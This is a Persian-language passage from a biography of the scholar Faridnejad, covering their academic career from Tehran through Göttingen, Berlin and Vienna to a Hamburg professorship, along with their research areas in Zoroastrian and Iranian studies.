پس در سال ۲۰۰۶ کارشناسی ارشد ایران شناسی، هنرهای تجسمی و تاریخ هنر را از دانشگاه تربیت مدرس دریافت کرد و پس از آن تحصیلات خود را در رشتهٔ ایران شناسی در دانشگاه گوتینگن ادامه داد. او بین سال های ۲۰۰۸ تا ۲۰۱۴ در مؤسسهٔ ایران شناسی این دانشگاه تدریس می کرد و از ۲۰۱۰ تا ۲۰۱۳ عضو گروه پژوهشی «تصاویر جهان: چندخدایی و یکتاپرستی در دنیای باستان» بود. فریدنژاد در سال ۲۰۱۴ با پژوهشی دربارهٔ تفسیر تصویری خدایان انسان واره در دین زردشتی مدرک دکترای خود را در زمینهٔ زبان شناسی ایرانی باستان و میانه و مطالعات زردشتی دریافت کرد. او در ادامه در مؤسسه های ایران شناسی و دین پژوهی دانشگاه آزاد برلین تدریس کرد. در ترم تابستانی ۲۰۱۶، او به عنوان استاد جایگزین در زمینهٔ دین و فرهنگ باستان و تاریخ آن در مؤسسهٔ دین پژوهی دانشگاه آزاد برلین فعالیت کرد. سپس تا سال ۲۰۲۰ به عنوان پژوهشگر در مؤسسهٔ ایران شناسی فرهنگستان علوم اتریش در وین و تا سال ۲۰۲۲ در مؤسسهٔ ایران شناسی دانشگاه آزاد برلین مشغول به کار بود. از سال ۲۰۲۲، فریدنژاد استاد ایران شناسی، تاریخ، زبان و فرهنگ های خاور نزدیک در مؤسسهٔ آسیا و آفریقا در دانشگاه هامبورگ است. زمینه
های پژوهشی او شامل تاریخ فرهنگ و دین های ایران باستان و تأثیر آن ها، مزدیسنا، دین و آیین های زردشتی، پویایی ها و تعاملات در تاریخ ادیان میان زردشتیان و غیرزردشتیان در دورهٔ اوایل اسلامی، هنر و نمادشناسی زردشتی، زبان های ایرانی باستان و میانه و مطالعات ادبی، ادبیات یهودیان ایرانی، ادبیات زردشتی (زبان اوستایی، زبان فارسی میانه، زبان فارسی نو و زبان گجراتی) و مطالعات نسخه های خطی زردشتی و یهودی-فارسی است.